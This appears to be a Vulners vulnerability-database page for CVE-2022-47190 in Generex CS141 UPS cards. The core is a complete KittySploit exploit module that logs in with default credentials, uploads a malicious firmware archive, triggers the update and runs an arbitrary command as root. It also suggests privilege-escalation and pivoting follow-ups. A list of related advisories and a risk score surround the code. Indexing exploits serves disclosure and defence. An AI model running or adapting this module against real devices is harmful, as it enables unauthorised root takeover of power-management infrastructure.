Generex CS141 CVE-2022-47190 - RCE via Firmware Upload
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| CVE-2022-47190 | 6 Mar 202318:07 | – | circl | |
| Generex UPS CS141 代码问题漏洞 | 31 Mar 202300:00 | – | cnnvd | |
| CVE-2022-47190 | 31 Mar 202300:00 | – | cve | |
| CVE-2022-47190 RCE via file upload vulnerability in Generex CS141 | 31 Mar 202300:00 | – | cvelist | |
| EUVD-2022-49965 | 3 Oct 202520:07 | – | euvd | |
| Thunderstorm - Modular Framework To Exploit UPS Devices | 6 Mar 202311:30 | – | kitploit | |
| Thunderstorm | 14 Oct 202614:50 | – | kitploit | |
| CVE-2022-47190 | 31 Mar 202322:15 | – | nvd | |
| CVE-2022-47190 | 31 Mar 202322:15 | – | osv | |
| Code injection | 31 Mar 202322:15 | – | prion |
10
import time
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.cs141 import CS141
class Module(Exploit, Http_client, CS141):
__info__ = {
"name": "Generex CS141 CVE-2022-47190 - RCE via Firmware Upload",
"description": (
"Generex UPS CS141 below 2.06 accepts a crafted firmware archive containing a webshell "
"or equivalent command execution primitive, leading to remote code execution as root."
),
"author": ["JoelGMSec", "KittySploit Team"],
"cve": "CVE-2022-47190",
"platform": Platform.LINUX,
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2022-47190",
"https://www.incibe-cert.es/en/early-warning/ics-advisories/update-03032023-multiple-vulnerabilities-generex-ups-cs141",
],
"tags": ["cs141", "firmware", "rce"],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
username = OptString("admin", "CS141 username", required=True)
password = OptString("cs141-snmp", "CS141 password", required=True)
firmware_path = OptString("", "Local path to the malicious firmware archive", required=True)
wait_seconds = OptInteger(60, "Seconds to wait after triggering the update", required=False)
verify_command = OptString("id", "Optional verification command when disablePayloadHandler=true", required=False, advanced=True)
def check(self):
auth_ctx = self.cs141_get_auth_context(self.username, self.password, True)
if auth_ctx and (auth_ctx.get("ok") or auth_ctx.get("used_default_credentials")):
return {"vulnerable": True, "reason": "Authenticated firmware workflow is reachable", "confidence": "medium"}
return {"vulnerable": False, "reason": "Authentication failed", "confidence": "low"}
def run(self):
auth_ctx = self.cs141_get_auth_context(self.username, self.password, True)
if not auth_ctx:
print_error("Authentication failed")
return False
payload_cmd = str(self.payload).strip() if self.payload else ""
if not payload_cmd:
print_error("No payload generated. Set a valid payload before running the exploit.")
return False
try:
firmware_bytes = open(self.firmware_path, "rb").read()
except Exception as e:
print_error(f"Unable to read firmware file: {e}")
return False
response = self.cs141_upload_firmware(firmware_bytes, auth_ctx)
if not response or not getattr(response, "ok", False):
print_error("Firmware upload failed")
return False
self.cs141_trigger_update(auth_ctx)
print_status(f"Waiting {self.wait_seconds} second(s) for the firmware update to settle...")
time.sleep(int(self.wait_seconds))
print_status("Dispatching payload through the post-upgrade command execution primitive...")
result = self.cs141_exec_unsafe_command(payload_cmd, auth_ctx)
if not result or not getattr(result, "ok", False):
self.not_vulnerable()
return False
print_success("Payload dispatched")
if self.disablePayloadHandler:
verify = self.cs141_exec_unsafe_command(self.verify_command, auth_ctx)
if not verify or not getattr(verify, "ok", False):
self.not_vulnerable()
return False
body = self.cs141_response_body(verify)
print_success("Remote command execution verified")
if body:
print_info(body[:1000])
self.vulnerable()
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
9Critical risk
Vulners AI Score9
CVSS 3.19.8 - 10
EPSS0.0157
SSVC